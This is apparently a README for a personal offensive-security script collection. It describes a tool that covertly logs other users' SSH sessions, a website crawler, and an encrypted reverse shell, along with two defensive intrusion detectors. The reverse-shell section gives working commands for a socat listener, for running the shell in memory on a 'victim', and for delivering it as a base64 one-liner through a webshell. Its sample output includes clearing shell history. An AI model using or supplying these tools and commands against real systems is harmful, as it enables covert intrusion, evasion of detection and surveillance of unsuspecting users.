autojack.py

AutoJack is a short script leveraging EmptyMonkey's shelljack to log the terminal of any user connecting through SSH. It watches auth.log for successful connections, figures out the PID of the user's bash process,and leaves the rest to shelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

Map a website by recursively grabbing all its URLs.

optional arguments:
  -h, --help            show this help message and exit
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        The maximum depth to crawl (default is 3).
  --threads THREADS, -t THREADS
                        The number of threads to use (default is 10).
  --url URL, -u URL     The page to start from.
  --external, -e        Follow external links (default is false).
  --subdomains, -d      Include subdomains in the scope (default is false).
  -c COOKIE, --cookie COOKIE
                        Add a cookies to the request. May be specified
                        multiple times.Example: -c "user=admin".
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        A regular expression matching URLs to ignore. The
                        givenexpression doesn't need to match the whole URL,
                        only a partof it.
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        A regular expression filtering displayed results. The
                        given expression is searched inside the results, it
                        doesn't have tomatch the whole URL. Example: \.php$
  --no-certificate-check, -n
                        Disables the verification of SSL certificates.
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        The file into which the obtained URLs should be
                        written
  --verbose, -v         Be more verbose. Can be specified multiple times.

Here is the sample output for a small website:

./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
   [*] Started crawling at depth 1.
   [*] Started crawling at depth 2...
   [*] Started crawling at depth 3.
   [*] URLs discovered:
   https://manalyzer.org (GET)
   https://manalyzer.org/bounty (GET)
   https://manalyzer.org/upload (POST)
   https://manalyzer.org/search (POST)
   https://manalyzer.org/ (GET)

Note that the matching URLs will not be crawled. This is particularly useful when the script gets lost in deep comment pages or repetitive content. Alternately, you may only be interested in PHP scripts: ./listurl.py --show-regexp "\.php$".

Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control with the --max-depth option.

Another consideration is whether URLs pointing to external domains should be followed. By default, the script doesn't, but you can enable this by setting the --external switch. If you're not interested in random external domains but still want to extend the crawl to subdomains, you can set the --subdomains switch:

./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a box with no standard utilities or compilation tools, and no easy way to upload binaries? Are you afraid than an IDS will notice an outbound shell? Accidentally closed your netcat listener because you pressed ^C? Suffer no more.

ersh offers the following features:

• SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
• Fully featured TTY.
• Optionnaly file-less.
• No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################

The HOST and PORT are self-explanatory, but you may need additional help for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

• client_key should contain the contents of client.key.
• client_crt should contain the contents of client.crt.
• server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0

Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on the victim:

python - <<'EOF'
[paste script contents here]
'EOF'

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

[email protected]:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python

Sample output

On the receiver machine:

[email protected]:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0

On the victim:

[email protected]:~# python ersh.py
[*] Connection established!
[email protected]:~#

And on the receiver again:

[email protected]:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
[email protected]:~# unset HISTFILE
[email protected]:~#

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

• Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
• #> systemctl enable boot_check.service

Install dependencies:

• #> apt install smartmontools dialog

Run the script once so it initializes:

• #> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

• Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
• If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
• Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

ln -s path/to/notify_hook.py /usr/local/bin/id

...and all future calls to id should be routed through this script. This is obviously not a foolproof way to detect hackers on your systems, but it should nonetheless catch the most careless intruders.

Customization

Some programs and scripts on your system may regularly invoke some of the binaries you wish to protect. In that case, you can edit a variable called CALLER_WHITELIST placed at the beginning of the script. Put the name of those processes in the list to disable alerts from them (regular expressions are accepted).

The current notification method implemented in this script is a text message sent thtough Signal with AsamK's signal-cli. You'll need to install this project separately if you want to use it, or, more likely, replace the notify_callback function placed on top of notify_hook.py with whatever suits your needs.

Miscellaneous

Donations

These scripts are 100% free. I do like Bitcoins though, so if you want to send some my way, here's an address you can use: 1PUeq8FfyqvyJqA1Eb23qHrnkdPknt4aKF Feel free to drop me a line if you donate to the project, so I can thank you personally!

Contact